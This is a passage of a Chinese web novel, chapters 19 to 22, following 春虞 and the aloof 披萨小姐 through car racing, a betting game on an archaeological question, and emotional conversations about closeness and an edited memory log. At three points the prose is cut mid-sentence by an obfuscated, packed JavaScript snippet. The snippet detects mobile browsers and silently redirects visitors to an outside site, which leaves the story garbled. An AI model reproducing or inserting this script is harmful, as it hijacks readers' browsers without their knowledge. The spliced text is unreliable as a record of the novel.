披萨小姐：“不过确实只要我想的话，我可以精神上控制一些（）所以其实会有某些间接***” 春虞问：“这是天赋吗？” “是的。” 披萨小姐：“在地球上，人类社会里，我也有很多人类朋友，在我这里，ta只能称之为朋友。但ta会认为我是ta最好的朋友，我的目的达到了。因为我在别人朋友里面就得是数一数二的。” 春虞觉得这个时候的披萨小姐不太一样，看起来有点坏坏的，可春虞并不因此感到害怕，她感到兴奋，“是的，我也有一种，我对于披萨小姐你来说，也有点重要的感觉。” 披萨小姐没有回答春虞，继续之前的话题：“我和人类的友谊基本上完全靠ta们对我的喜欢在维持呢。” 好可怕，好喜欢，好兴奋。春虞愣愣点头：“站在这个角度，披萨小姐真的很可怕啊。” “我觉得有点不正常，非常不正常，因为感觉应该停止了……” 披萨小姐低头：“什么？” 春虞：“但是我做不到了，我有点控制不住自己的思想……” 披萨小姐的表情专注而好奇：“哪种捏？” 春虞：“你要不试试猜猜看？” 披萨小姐果真歪头思考。明明那么大一只，太犯规，太可爱了。 春虞：“我有点冲动，你得先让我歇歇脑袋。” 春虞缓了缓情绪，组织语言：“我好像对披萨小姐你的滤镜开得有点太大了最近，我想把你变成和接近弗莱?一样的存在。” “我会离开联盟，你是我的合格的，永远的‘白月光’，你不会有想法类似‘把我找回来的’，但是，我不想，也可能是我想得太多了，但确实舍不得。” 披萨小姐：“嗯，按我所知道的理论来分析的话，其实你是在害怕失去吗？” “不知道这么说对不对，但你想要像喜欢弗莱和对待弗莱那样对我，但我是不可能像弗莱那样对你的。” “所以你不知道该怎么办了，不知道该怎么对我，你怕我拒绝你的情意，然后放弃你，是这样吗？” 春虞好像冷静下来了，她从背包里拿出了幸运卡牌，“要抽张卡试试吗？” 幸运卡牌是联盟最近新出的一个游戏，游戏道具外表看起来和人类的扑克牌很像，但幸运卡牌是真的能开出东西来，也许是一道关于命运的指示，也可能只是一张地球七日的旅游券。 披萨小姐什么也没有抽中，卡牌上是一片空白。 春虞畅然笑道：“哈哈，我也没有。” 春虞再次承诺：“我不会触碰你的利益的，披萨小姐，我是合格的。” 披萨小姐说：“我早说过，一般来说，远离是一种及时止损。” 春虞：“别这么说。” “你该和我说晚安。” 披萨小姐：“嗯，还早呢。联盟的夜晚要到凌晨才算。” “好吧，晚安。” 10月22日。“虽然是对的。”但是不要说。 19. 赛车俱乐部 联盟10月23日。 今天山城下了雨夹雪，但是联盟的天气依旧很好，春虞在【次元屋】等披萨小姐时，谈起了这件事。 “可惜我还在上学，不能飞回老家去玩雪，等我放假回家，大概雪不会再下了。我上高中后就很少有机会堆雪人了。” 【风筝】走过来在春虞面前坐下，声音好奇：“雪摸起来是什么感觉啊？” 【霜合】：“凉凉的，” 春虞补充，“你可以试试冰箱壁上的冰渣，上手感觉差不多的。” 风筝看着春虞不说话，脸上是一种很难读懂的表情。 很快一个头上顶着【蜚】的猫耳朵走了过来，【蜚】对在座的各位炫耀，“我在东鲁省，今天下雪了，绿化带白了一半，有人想看看吗？” 蜚用手环投影出了一张雪景照片，世界灰蒙蒙的，好像褪色了。 好奇怪，春虞记忆里的雪是白色的。风筝走开了，乌理理接替风筝的位置坐下，“联盟【禁区】里有雪山。” 春虞更加疑惑了：“所以风筝为什么没见过雪？” 乌理理：“风筝好奇的不是雪景，是雪代表的意义。” 简直莫名其妙，春虞问：“雪能有什么意义？” 春虞没有得到答案，因为披萨小姐来接走了春虞，春虞回头时，乌理理已经离开了。 披萨小姐带着春虞来到了【生活区】，“吃过晚饭了吗？” 春虞点头，于是披萨小姐直接带着春虞去了赛车俱乐部。 “会开车吗？” 春虞摇头，“会骑自行车和踏板车，至于汽车的话还没学，但我觉得我应该也不会学。” 披萨小姐正在通过投影挑选车辆，“为什么觉得自己不会学车？” 春虞：“可能是因为我晕车？在密闭而且运动的空间里待久了我会头晕恶心，感觉好像脑袋被丢进了洗衣机里。” 披萨小姐挑选的动作停住了，“所有？” 春虞点头，“所有！包括关窗的公交车和火车，不过短时间没有关系。” 很快披萨小姐选了一辆金色的敞篷跑车，“这种可以接受吗？” 春虞眼睛发亮，“可以，我坐过三轮车，没问题的！” “那就选这辆车。” 披萨小姐带着春虞在沙漠里飙起了车，春虞感觉有点不可思议，“为什么车不会陷在沙子里呢？明明都没有公路！” 披萨小姐：“你玩赛车游戏时车子会陷进坑里吗？” “好吧，不会。我知道了，你想告诉我，这只是一个游戏而已吗？”跑车速度很快，如果不是系了安全带，春虞怀疑自己已经被吹走了。 “这是真实的世界，但你确实可以把它当作游戏。” 风很大，头发和宽大的裙摆被吹得猎猎作响，春虞突然感觉有点冷：“披萨小姐，我感觉好冷，我要被吹走了！” 披萨小姐问她：“真的很冷吗？我记得联盟里售卖的衣物带有恒温装置。” 春虞细细感受了一下温度，“其实温度并没有很低，但是我感觉我冷，心理上。” 宽大的裙摆没压住，被风吹起来打到两人脸上。春虞费力的将它从脸上扯下来，像扯开头纱一样。 “虽然很冷，但是真的太高兴了。披萨小姐，这真的好酷啊！我好像要飞起来了，我们会死吗？会发生车祸让我们丧生于此吗？” “如果真的有车要撞死我就请把我撞碎吧！” 跑车一个急转，春虞的上半身不受控制的倒向披萨小姐，“我不是故意的，真的。” “没关系。”披萨小姐说，“春虞不会丧生于此的。” 春虞仰头顺着颈侧一直看到披萨小姐的侧脸：“披萨小姐保证我不会死吗？” 披萨小姐不明所以，“当然，今天，我保证。” 春虞得寸进尺：“那么我有一个问题，对你来说，我是什么？” 披萨小姐握紧了方向盘：“这个当然是你来定义。” 春虞还赖着不起来：“拜托，给我一个简单的形容吧？” 披萨小姐：“不用形容，目前来说的话，你是人类朋友。” 春虞不太满足：“朋友就朋友，为什么非要说‘人类朋友’？难道‘人类朋友’真的和普通朋友有什么区别？所以你对待‘人类朋友’的态度是什么？” 披萨小姐没有回答前面两个问题：“只是觉得人类和人类朋友都挺有意思的。” 春虞郁闷：“你人类朋友多不多？” 披萨小姐：“不算多。” 好吧好吧，春虞有点把自己哄好了，“那她们的下场是什么？” 披萨小姐：“玩到后面关系特别好的也能进一步发展；也有一些观念不同路不同，慢慢淡了联系，我也不大好打扰别人的生活。” 春虞疑惑，“那为什么和我玩呢，我觉得我们的观念也不到能说‘同’的地步，而且我一直觉得自己是‘无趣’的。” 披萨小姐：“我比较欣赏的一个特质就是好奇心，有问题是好的。这代表你在思考，我喜欢经常动脑思考的人。” 春虞心虚的坐直，“我好像没有。” 披萨小姐：“但就结果上来看，和我主观判断，是有的。自信点，怎么能说没有呢，有一点点也是有。” 春虞厚颜无耻的当真了，“好吧，那就当我有一丢丢吧。话说，披萨小姐在手环上给我的备注是什么？春虞还是弗莱的影子？” 披萨小姐：“是春虞。我的备注一般取决于对方意愿。” 春虞：“任何意愿？” 披萨小姐：“这种东西当然还是比较随性的，想让我备注什么就是什么咯。” 春虞眯眼想出一个好点子，“任何备注都可以吗？” 披萨小姐隐约有种对方又要信口开河的预感：“可以？” 春虞继续试探：“也包括‘最好的’‘最喜欢’‘最可爱’这种前缀？” 她就知道。披萨小姐：“涉及到我个人意愿的话，我会看情况的。” 好吧。春虞放弃了，她换了个问题：“披萨小姐对我有好感吗？” 这个问题很正常了。披萨小姐说：“当然是有的，因为我们相处没有让我不适的地方，目前为止。” 春虞心里暗暗得意，“那我得寸进尺一点，行不行？”她伸出两个手指比了一段长度。 披萨小姐看起来很谨慎，“得看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669050|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是哪种。” 春虞扭头不看披萨小姐了，她看向四周，沙漠光秃秃的，没有绿色和建筑，也没有任何行人留下的痕迹，好像世界就剩下两个人。跑车的轰鸣声虽然很响，春虞也觉得有点过于安静了。 “披萨小姐，我们什么时候回去啊？” “春虞累了吗？我忘记人类很容易疲倦了。” 虽然大声喊话是有点费力气，但春虞确实没有很疲倦，“其实还没有，但我也可以‘累了’。” 披萨小姐轻笑了声，很快将车开回了俱乐部，两人接着就在【生活区】的街道上慢慢走。 “春虞困不困？” 春虞摇头，她抬起手环看了一眼时间，现在是联盟29:28，还有半个小时就到凌晨了。 “披萨小姐接下来有什么安排吗？” 联盟里一天有30h，白昼25h，黑夜5h。每天从零点到凌晨五点是黑夜。黑夜是睡眠时间。 披萨小姐：“我可以推到明天做。” 春虞：“我没有安排，去吃东西吗？” 披萨小姐同意了：“吃什么？” 春虞想了想：“吃披萨？” 披萨小姐又在笑：“都行。我不介意。” 最后当然没有吃披萨，而是拎着抹茶味的蛋糕，在逛街。在【生活区】的街道，还有婚纱店，春虞看见那条红色的，像火焰一样的，裙摆拖地的婚纱，还在橱窗里展示。 明明那么漂亮，为什么还没有人来买走呢？其实15积分一点也不贵，春虞买的礼裙两条也差不多这个价格了。可是春虞没有想过要买。 毕竟是婚纱啊。 春虞端着小蛋糕边走边吃：“披萨小姐希望我找你的频率控制在什么节奏呢？” 披萨小姐很无所谓：“都行，我有时间就没问题。” 春虞把吃完的蛋糕盒子收起来，双手拎着裙摆倒退着走：“和披萨小姐一起玩，我感觉自己像在热恋期一样。” 披萨小姐声音带着迟疑：“哈？” 春虞：“怎么了？” 披萨小姐：“你刚刚说的，很超前的描述……” 春虞脚步有点雀跃：“是这样啊，还以为披萨小姐你踩到奇怪的东西了。反正我要尽力给你一种新鲜感，有事才找你。” 看起来完全没有那个意思啊，可能只是对朋友的占有欲有点强而已。披萨小姐缓过来了：“按你自己的步调来就好。” 春虞：“我自己的节奏……我感觉自己就像在热恋期一样。” 春虞似乎也觉得自己说的话好笑，没忍住笑个不停，披萨小姐也跟着笑。 春虞看着披萨小姐那块没动过的抹茶蛋糕：“披萨小姐没有深夜吃宵夜的习惯吗？” 披萨小姐：“得看饿不饿。” 明白了，所以现在披萨小姐还不饿。春虞抬手腕看了一眼时间，已经是凌晨两点十三分了，春虞缓慢的眨眼，“我已经困到睁不开眼睛了，我要睡觉了，晚安，披萨小姐。”春虞握着钥匙仰面倒下。 披萨小姐一直看着春虞，也说：“晚安。” 春虞道别的时候没有挥手，披萨小姐也没有。最后披萨小姐在凌晨三点二十分睡觉。 20. 星赌王和研究所 春虞今天没有在联盟见到披萨小姐。 她习惯性的来到披萨小姐的小岛的时候，才发现披萨小姐不在家，留言板上写着有事外出，两天后回家。 好吧，春虞决定去【生活区】找找看“星赌王”在哪里，虽然上次朝朝给春虞介绍了星赌王的大概经营模式是猜测下次的考古进展，但春虞还是很心动。 这不就是另类的有奖知识问答吗？只不过参加问答需要报名缴费，而且问题少且单一。 得益于《星球史》自带的热度，春虞很快就在街道上看见了《星球史》相关知识竞赛的主办方。 主办方正在搭建临时展台，身后的幕布上写着“无奖竞答大赛”。临时展台斜对面，是星赌王宽大且庄严的大展台。 展台蓝色的背景板上写着宣传语和活动规则。 “快来参加吧！ 为了海妮的真相往事，赌上你的积分~ 搏一搏，住所升别墅， 赌一赌，积分有前途。” （PS：海妮是《星球史》最新考古才发现的历史人物） ★活动规则★ 选出自己的阵营， 1、正方：海妮是仿生体或克隆人。 2、反方：海妮不是仿生体也不是克隆人。 （本次星赌王不设中立） 正方，反方的基础赔率暂定为：2.5:2.5 投票赔率参考各位成员的投票比例而定。 （假设：有6个正方、4个反方，则投票赔率为0.6，0.4) 最终赔率=基础赔率-投票赔率 正方：2.5-（待定）=（待定） 反方：2.5-（待定）=（待定） 若最终赔率为1.9：2.1，你押正方20积分后获胜，则可获得20*1.9=38积分； 出于人性化考虑，你猜错了，仅会拿走你下注的一半赌金。 计算结果采取四舍五入取整的方式。 （只能选择一方下注哦~慎重考虑） ★★本次活动时间截止：联盟1004年11月20日29时59分 （如果考古结果早于原定截止时间出现，本活动将会提前结束。) 春虞：“所以理论上，我要是全压正方，它还能给我留一半积分？” “是的，说的不错。”旁边一个叫【茉祁】的路人对春虞说，“理论上你有50积分就能押100了，反正是后扣。” 星赌王的其中一个管理者闻言抬起头来，一脸不出意外的表情，“不愧是你啊，茉祁。” 春虞觉得这个名字有点耳熟，还没等她想清楚是怎么回事，管理者又扭头看向春虞。 “未到rakta规定的成年岁数，不建议过多接触赌博哦～” 作为在瓷国长大的孩子，春虞当然知道赌博是不能沾的，但联盟里的星赌王怎么看都是一种有奖知识问答吧？她玩扑克牌和抽盲盒都比这个性质严重得多。 春虞严肃道：“是的，我知道，赌博不好，所以我决定全压正方，只玩一次就不算过多接触了。” 旁边的【茉祁】看热闹笑得前俯后仰，“梭.哈啊，你怎么会选择正方？” 【茉祁】抬头看了一眼春虞的头顶，“‘弗莱的影子’？啊，原来是新成员。” 春虞一本正经的解释：“因为自古以来邪不胜正，而且通常电视剧里胜负赔率相差越大的，越多人压的越可能输，所以我选择人少的正方。” 茉祁手摸着下巴思考，“你依据的是人类的历史和戏剧，别被误导，这可是联盟。盲猜的话，我倒觉得反方可能性更大。” 春虞点头，“明白了，但我还是想压正方。” 春虞伸出带手环的右手，准备付积分，管理者拿出一个黑色小方盒碰了一下春虞的手环。 “很抱歉，你没有绑定联盟通讯器，超过100积分的交易需要绑定身份或者每次交易时验证身份，请问你还要继续吗？” “诶，我居然没有绑定吗？可明明我的面板和通讯器都能正常使用啊。”春虞虚心求教，“所以我应该怎么绑定呢？” 茉祁热心道：“如果不介意的话，你可以将通讯器界面投影我看看。” “好的，麻烦了。”春虞走到旁边人少的地方放出投影。 茉祁惊叹：“居然真的没绑定啊。你点击一下【身份】和【通道】” 春虞照做了，茉祁看着新出现的界面指导：“直接点击【异世界登录】界面，然后点【同意绑定钥匙】” 春虞：“后面这个选项同意了会有什么影响吗？” 茉祁同情的看了春虞一眼，“最大的影响大概就是，你以后进入联盟，不需要再通过游戏界面打开【门】，然后走五分钟的异世界隧道才能进入联盟了。” “下次进联盟，眼睛一闭一睁就能到了。”茉祁拍拍春虞的肩膀，“这么久以来真是辛苦你了，你对联盟一定很喜欢吧？从此以后赌博或者有什么别的大额积分交易都方便了。” 春虞试图解释：“我以为登入游戏时就绑定了联盟身份……不过现在绑定了也不迟。” 茉祁对春虞缓缓竖起了一个大拇指。“加油。” 春虞死气沉沉的重新回到星赌王付了积分。 付了积分后，春虞晃悠着去了【次元屋】，她要了一杯石榴汁，然后坐下时听见了【崇声】和旁人的闲聊。 “披萨老师今天给我发讯息取消订购的早餐，我才知道她昨天居然夜游了！天啊，总共就五个小时的夜晚她夜游了三个小时，只用两个小时充能，真的有能量安稳度过白天吗？” 【崇声】语气夸张，“而且，夜游诶，你们真的不好奇吗？” 【朝朝】接话道：“今天是联盟休息日，披萨老师肯定是去【研究所】了，那地方能量充足，不用担心啦。” 崇声露出个八卦的笑容，“对啊，今天才是休息日，那么昨天和老师夜游的是谁呢？” 一个叫【阿图斯】的联盟成员坐在了春虞对面，好像也对崇声的话很感兴趣。但崇声她们很快扯开了话题。 联盟11月4日，春虞和披萨小姐在交流看法，关于一副名为《杀死***》的画。春虞好像也能静下心来查资料的，关于绘画，也关于其他的。 春虞：“披萨小姐一下就变得好接近了……这种时候。” 披萨小姐好奇道：“为什么这么说？” 春虞没回答，反而拿出了幸运卡牌，“或许你想要抽一张卡吗？” 披萨小姐疑惑的抽了一张卡，卡面依旧是一片空白，“好哇，没抽到！” 春虞没忍住笑道：“因为只有这种时候披萨小姐才更像一个‘人类’一点啊！谈到喜欢的东西也会很高兴，乐意说很多话，也会善解人意的考虑陌生人的想法。” 听起来实在不像是好的夸奖，春虞又跟着披萨小姐一起笑出声来。 披萨小姐：“画上是我设想的一种结果，当然其他的也不是没可能，所以很自由。” 春虞点头：“是的，很自由。被杀死的是你之前去纪念馆看墓碑的，那对君臣吗？” 披萨小姐承认了，“是的，一种比较纯正的君臣关系。” 春虞：“但是在画外，私以为，这个臣子她可以‘想成为像谁一样的人’，但是不可以‘想成为谁’。人可以向谁看齐，但是不能失去自我，大概是这样的。” 披萨小姐：“是的。” 春虞看着温和的披萨小姐又忍不住想说些别的了，“我想告诉你，我的一个感受，但是我不希望你因此疏远我，一点点的可能性也不希望。如果有这个可能，也请阻止我，别让我说，好吗？” 披萨小姐有点惊讶的扬眉，很快她平静下来，鼓励春虞：“没关系的****你知道我不会的。” 春虞看着披萨小姐的眼睛，“就是，前几天，她们都知道你在夜游。但是，我比她们都先知道，因为我和你一起的，我很高兴，有种很隐秘的兴奋，我比他们先知道啊。” 披萨小姐有点意外，“啊，居然是这个。！” 春虞心跳很快，她有点期待，又忍不住紧张道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669051|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是什么？拜托告诉我吧。” 披萨小姐露出一个温和的微笑：“有这种心态也正常，你觉得我跟你关系比别人好，因为你了解我比她们多是不是？” 啊，猜对了。原来是这样。原来这种心态也很正常啊。 联盟11月9日，天气也很好。 披萨小姐说她喜欢那种时间沉淀给年龄的美感。 今天的春虞则完全想象不出来那种模样，于是过了很久，一直到两年后才明白，什么是“时间沉淀带给年龄的美感”。这样看来，她好像一直钟情的类型都不变，同样的黑发，同样的不会爱人，同样的早已死去的角色。 春虞爱她们，怜惜她们，也许是因为对方无法亲口对她说讨厌，或者拒绝她的情意。 披萨小姐说：“年轻人虽然朝气蓬勃，但没有那种阅历足够多带来的内涵，我就很难对同龄人有感觉。” 春虞说：“我的xp也很奇怪，我好像不太喜欢活生生站在我面前的人。所以披萨小姐有谈恋爱的计划吗？” 披萨小姐思考后摇头：“没有哇，随缘。不过大概率不会谈。” 春虞想到自己糟糕的xp也点头：“嗯，我想我大概率也是。” 11月11日，今天又谈到了昵称问题。 披萨小姐说：“一般联盟里的成员喊我披萨或者披萨老师多一点。” 春虞正襟危坐道：“我知道，只有这个吗？披萨小姐接受或者抗拒别人给你取昵称吗？就是也许只有她自己一个人那么叫你。” 披萨小姐想了想道：“如果是初次见面而且有后续交流，一般我都会跟别人说叫我什么，我比较喜欢自定义。” 春虞乖巧道：“好的，披萨小姐。请务必像这样告诉我，你的一切要求和雷点，如果我快踩到线了，拜托提醒我一下。” 披萨小姐发出一声很悦耳的低笑，打趣道：“我想我会的，我比较直白……” 春虞看着披萨小姐上下碰撞的唇瓣情不自禁道：“我爱你。” 披萨小姐顿了顿，接着上句话继续说：“……不爽了会说的。” 虽然有点过于直白了，但是既然披萨小姐没有表现出明显的厌恶，春虞也继续说道：“昂，喜欢你。 披萨小姐补充说完了最后半句话：“……没说的话就是接受范围内。” 春虞星星眼点头：“好的，现在最喜欢你了！” 披萨小姐安静了片刻，然后看着春虞欲言又止。 春虞慢慢意识到不对，她想了想补充道：“就当我是对二次元人物的那种喜欢好了。” 披萨小姐盯着春虞看了一会儿，然后勾起唇角：“目前来说确实是二次元，因为出了联盟就没见过。” “嗯！”春虞点头，继续补充，“就像喜欢弗莱一样，你不要有压力。” 披萨小姐笑出了声：“好。” 11月15日。 因为对披萨小姐说了不太得体的话，被调侃了。春虞觉得非常不合适，非常没边界，有点后悔和失落。 披萨小姐捂着眼睛苦笑不得，看起来并不介意：“下次有机会给我写明信片可以写这个。” 春虞眨了眨眼睛：“啊？！什么明信片，快说，求你了，告诉我吧？” 披萨小姐：“不在联盟。” 春虞睁大了眼睛：“所以，所以，是要把联盟以外的地址给我吗？” 披萨小姐微微弯了弯眼睛：“等你要寄给我的时候再说吧，我最近地址一直换来换去的。” 春虞内心尖叫，她递给披萨小姐一只青色恐龙玩偶，“我先准备一下，考虑一下，寒假和你说啊！” 披萨小姐答应了：“好哇，出去玩了记得给我寄明信片。” 春虞觉得披萨小姐每次说话带“哇”都很可爱，她思绪有点飘，“嗯，好，我不出去玩可以寄吗？” 披萨小姐点头：“都行呀，给我写信也行。” 春虞人也开始飘了，好像在云里一样，“写信，好呀。喜欢你。” 春虞认真承诺：“我会认真写的。” 21. 直球 11月16日，披萨小姐更新了之前的夜游日志。 因为披萨小姐是asthi，又是安装的机械心脏，所以记忆存储空间有限。 asthi存储记忆的方式有点像电子设备，内存不够就会卡顿，为了时刻保持思想活跃，运行流畅，asthi会选择将部分记忆保存在别的地方，就像电子设备把部分文件挪到外置储存卡一样。 披萨小姐将更新的夜游日志储存在了披萨小姐的小岛上。春虞去到披萨小姐的小岛的时候，看见前院的草坪上漂浮着一个彩色泡泡。 如果记忆是被挪到外置储存卡里的文件，那么彩色泡泡就像从电子设备里挑选内容而发出的朋友圈。 彩色泡泡里是披萨小姐在飙车，披萨小姐在夜游。只有披萨小姐。 春虞看着彩色泡泡将一段记录视频放到结尾，又循环到开头重新播放，一直只能看见披萨小姐的身影。 “为什么要把我出现的画面删掉呢？”春虞想，“也许披萨小姐只是不习惯和别人同框出现，并不是单单针对我。” 春虞用手指戳破彩色泡泡，草坪上又飘来一个彩色泡泡，这个泡泡里记录的是披萨小姐去【研究所】的片段。 【研究所】的人并不多，但泡泡里确实不止有披萨小姐一个人，身穿白大褂的研究人员在泡泡里来来往往，披萨小姐一个也没有删掉。 所以是真的只不想看见春虞啊。为什么披萨小姐不想让别人看见我们相处的画面呢？ 春虞是有一点难过的，她越想越难过。春虞想不通这是为什么，又或许她知道答案，但是不敢相信，她自欺欺人，甚至没勇气去找披萨小姐询问。 因为我实在太差劲了，差劲到和我同框出现会觉得丢人，差劲到根本不想记住我。 通讯手环震动了一下，披萨小姐发来消息：[你要不要来玩赛车？我在俱乐部等你。] 怎么可以当做什么都没发生过到样子呢？还是披萨小姐你觉得我根本不会发现这件事，春虞刻意生硬的回复[不玩。] 但春虞还是觉得应该给披萨小姐一个机会，她又接着发了条信息：[你今天去【次元屋】了吗？] 披萨小姐回复：[去了然后呢？] 文字冰冷冷的，好像在生气，又好像很不耐烦的样子。春虞忍不住委屈，披萨小姐凭什么生气。 春虞忍着眼泪蹲在草地上回复消息：[我可以直接问你吗？我想问问，现在我对你来说，是什么样的人你觉得？] 披萨小姐：[balala**新的想法很多，然后思维比较跳跃……觉得自己的重要程度没那么高……] 眼泪要落不落，眼前一片模糊，春虞跳过披萨小姐一大段正经的分析，直接找到自己想看的，发出去的消息也有点语序不通：[是的，不对。我就想说一个，你是不是觉得我心思敏感？] 披萨小姐输入了半天，最终什么也没发出来。春虞听见院门被推开的声音，然后披萨小姐出现了。 “是有这样的倾向，你总容易多想。” 春虞闷着声音，眼泪几乎要冒出来了：“嗯。” 披萨小姐也蹲下来，半揽住春虞的肩，“早告诉你了不要太顾及别人的感受，春虞有什么想说的吗？” 春虞：“是我多想了，难过了，还有一点生气，虽然可能并没有这个立场。” 披萨小姐宽慰道：“比如呢，有具体例子吗，告诉我好吗？” 春虞抽抽鼻子，反问道：“我是披萨小姐很拿不出手的朋友吗？我刚刚看见了披萨小姐的生活日志（彩色泡泡），里面没有我的存在和痕迹，一点点也没有。我想了想，因为你主动来找我了，所以我还是想无理取闹的问一问，而且，我的试探你也不关心，你讨厌我，不想记得我，和我相处很累吗？” 披萨看起来很诧异：“你怎么会这样想？日志里没有你是因为主要想记录的是我个人的一些心情。在其他日志里我对其他人也会挑着来的。我这个人自我意识比较过剩，所以有时候会主观上无意识削弱一些别人的存在感。” “我并不讨厌你，硬要说的话，可能还有些好感，我也没有想过忘记你，至于最后一个问题，如果累的话我会说的，我会很直接的告诉你，所以不用担心我对你有意见。” 春虞快速的眨眼：“我知道，我开始也是这么安慰自己的，可是第二篇日志里，披萨小姐在【研究所】的那篇日志里，就有别人。而我可是一分一秒也没有出现过啊！你把我从整个日志里都删除了，时间久了，你心脏里的记忆都刷新过一遍后，你就会彻底忘记了。” 披萨小姐一边解释一边拉着春虞往二楼走，“没有哇，你知道一篇展示版日志是可以单独选中编辑的，你试试看。” 春虞气急不想听披萨小姐解释，又不想甩开披萨小姐的手，她嘴硬道：“我不知道，我不会。” 披萨小姐将春虞带到了记忆储存室，她指着大屏给春虞展示：“我是说每个日志选中你需要的内容可以被编成一个新影像，所以不用删减日志也可以做到。” 春虞执着的问：“所以披萨小姐你删掉了日志里我的存在吗？” 披萨小姐：“我说的‘没有袜’，根本用不着也没必要删掉。” 披萨小姐点开了关于夜游的那个日志，春虞在大屏幕上看见了身着紫色曳地长裙的自己，里面的春虞盯着橱窗里的婚纱一动不动，脸上的表情看起来很好懂……也很愚蠢。就那么高兴吗？ 披萨小姐在旁边轻声调侃：“为了一篇日志更新删减原始生活日志我可做不出来。” 春虞泄气又有点后知后觉的不好意思，感觉自己好像在无理取闹一样：“那好吧，我没有问题了。” 春虞生硬的岔开话题：“披萨小姐刚刚不是问我玩不玩赛车吗？我不怎么会玩，但是我可以试试……”春虞补充，“试试在你玩的时候坐在副驾驶陪你。” 披萨小姐好像在笑，但是唇角弧度不明显，她没有让春虞成功岔开话题：“我可不可以这样理解，就是你觉得，你认为你对我的爱没有得到等同的回应。” 春虞：“不是同等回应，是不被当一回事我以为。”她想了想，换了个说法，“你可以玩我，可以看轻我， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669052|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是不能一边玩我，一边**我。” 披萨小姐挑眉，视线从头到脚把春虞打量一遍，然后才微微勾起唇角，“哎呀，那可真是被低估了。你以为我现在为什么会出现在这里，如果不当一回事的话，我根本不会理你。” 所以这个时候的披萨小姐是不是也有一点喜欢她了呢？也是有一点喜欢的吧。 春虞说：“我害怕嘛，又难过。” 披萨小姐抬头示意春虞继续说。 春虞：“披萨小姐没发现我回复的消息语气都很生硬吗？我忍着没动，就是害怕。” 披萨小姐点头赞同：“你这确实……蛮拧巴的。” 春虞把手环上的消息投影出来指给披萨小姐看：“因为我问你去没去【次元屋】，你说‘去了然后呢’，我以为你不耐烦了。” 披萨小姐很无辜：“啊，因为【次元屋】确实没什么事啊！” 春虞小声道：“关注点错了，如果披萨小姐去【次元屋】时看了广告牌就会发现我病了……” 披萨小姐的目光重新落在春虞脸上：“原来是这个。我还以为你想让我关注【次元屋】是因为那里又发生了什么事。” 春虞：“昂。” 春虞有点失望披萨小姐没有假装客套的继续问“现在怎么样，好些了吗？”，虽然她已经因为联盟的高超医术一键恢复了健康（） 披萨小姐：“春虞有时候会觉得我有距离感吗？” 春虞点头：“经常，于我而言是这样的。” 披萨小姐笑了笑：“正常。” 春虞“啊”了一声：“嗯，说说？” 披萨小姐带着几分愉悦地开口：“大概是因为我是一个比较典型的asthi吧，联盟教材上，asthi因为生理构造和心理原因，即使是跟最亲近的人也会有距离感。” 春虞皱眉：“我以为所有人都这样？不过想想，好像披萨小姐的距离格外远，所以我有时候会害怕失去你。” 披萨小姐温和道：“在联盟里出生的rakta是不会这样的。” 披萨小姐顿了顿，声音带着点歉意：“因为我本身不是什么很会接受别人爱的人，所以也不觉得自己能轻易得到别人的爱。爱在我这里是特别重要并且纯粹的东西，不想接受大概就是怕失去，所以不得到就不会失去。我对于那些给我的好感和爱之类的，相当于就是接过来然后放在一边并且忽视。这点我对所有人都是一样的。” “给你造成困扰的话不好意思，这是我存在缺陷的地方。所以我没法真正去爱人，我也回应不了特别多，给你造成困扰的话很抱歉。” 是只有披萨小姐这样呢？还是所有的阿斯提都这样？ 春虞看着披萨小姐：“所谓困扰，同披萨小姐带给我的东西相比，不值一提，微乎其微。不用改变，这样就好，也不用回应或者有负担。” “我早说过，我像喜欢二次元角色一样喜欢披萨小姐。这样想，就好了。” 披萨小姐扯出温和的笑：“放心好了，我可不会因为别人改变。” “那真是太好了。” 22. 动荡和怀疑 11月17日，凌晨两点十六分。今天算得上是春虞和披萨小姐的第二次夜游了。 春虞的精神很亢奋，她想和披萨小姐一起待到天亮，迎接联盟的日出，然而眼皮却很沉重，春虞费力的睁大眼睛。 春虞：“披萨小姐准备什么时候去睡觉？” 披萨小姐看了一眼时间：“目测4点。” 春虞在背包里摸索，拿出了幸运卡牌，“要不要抽张卡试试？” 披萨小姐又抽到一张空白卡片。 披萨小姐：“看来是没抽到。” 春虞闭着眼也抽出一张卡牌：“哇，我抽到了，卡牌说我们会成为‘挚友’。” 披萨小姐挑眉，虽然没反驳，但也没赞同：“看来我们其中一个抽到了卡片，另一个就抽不到，概率守恒了是。” 春虞点头，终于坚持不住了：“我要睡觉了，披萨小姐好梦。” 春虞握紧钥匙前又问了一句：“披萨小姐喜欢做梦吗？” 披萨小姐：“很大程度上来说是喜欢的，算一些素材。” 